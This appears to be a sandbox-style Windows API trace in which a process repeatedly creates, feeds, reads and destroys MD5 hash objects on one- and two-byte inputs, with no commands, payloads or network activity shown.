	[0095.482] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.482] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.482] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.482] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.482] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.482] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.482] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.482] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.482] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.482] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.482] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.482] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.482] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.482] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.482] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.483] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.483] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.483] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.483] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.483] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.483] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.483] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.483] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.483] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.483] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.483] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.483] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.483] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.483] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.483] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.484] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.484] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.484] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.484] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.484] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.484] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.484] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.484] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.484] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.484] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.484] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.484] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0095.484] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.484] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.485] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.485] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.485] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.485] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.485] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.485] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.485] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.485] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.485] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.485] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.485] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.485] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.485] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.486] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.486] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.486] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.486] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.486] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.486] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.486] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.486] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.486] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.486] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.486] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.486] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.486] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.486] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.486] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.487] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.487] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.487] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.487] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.487] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.487] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.487] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.487] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.487] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.487] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.487] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.488] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.488] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.488] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.488] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.488] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.488] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.488] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.488] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.488] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.488] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.488] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.488] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.488] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.488] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.489] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.489] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.489] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.489] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.489] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.489] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.489] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.489] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.489] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.489] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.489] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.489] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.489] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.490] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.490] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.490] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.490] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.490] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.490] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.490] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.490] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.490] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.490] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.490] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.490] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.490] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.490] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.490] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.491] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.491] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.491] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.491] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.491] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.491] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.491] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.491] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.491] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.491] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.491] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.491] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.491] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.491] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.491] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.492] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.492] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.492] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.492] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.492] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.492] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.492] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.492] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.492] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.492] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.492] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.492] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.492] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.493] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.493] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.493] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.493] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.493] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.493] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.493] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.493] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.493] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.493] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.493] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.493] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.493] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.493] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.493] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.493] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.494] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.494] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.494] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.494] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.494] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.494] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.494] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.494] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.494] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.494] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.494] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.494] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.494] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.494] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.494] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.495] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.495] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.495] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.495] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.495] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.495] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.495] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.495] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.495] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.495] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.495] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.495] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.495] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.495] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.495] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.496] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.496] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.496] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.496] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.496] CryptDestroyHash (hHash=0x34d8d0) returned 1
	[0095.496] CryptCreateHash (in: hProv=0x34d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x73d10 | out: phHash=0x73d10) returned 1
	[0095.496] CryptHashData (hHash=0x34d8d0, pbData=0x73d18, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0095.496] CryptGetHashParam (in: hHash=0x34d8d0, dwParam=0x2, pbData=0x73d48, pdwDataLen=0x73de8, dwFlags=0x0 | out: pbData=0x73d48, pdwDataLen=0x73de8) returned 1
	[0095.496] CryptDestroyHash (hHash=0x34d8d0) returned 1
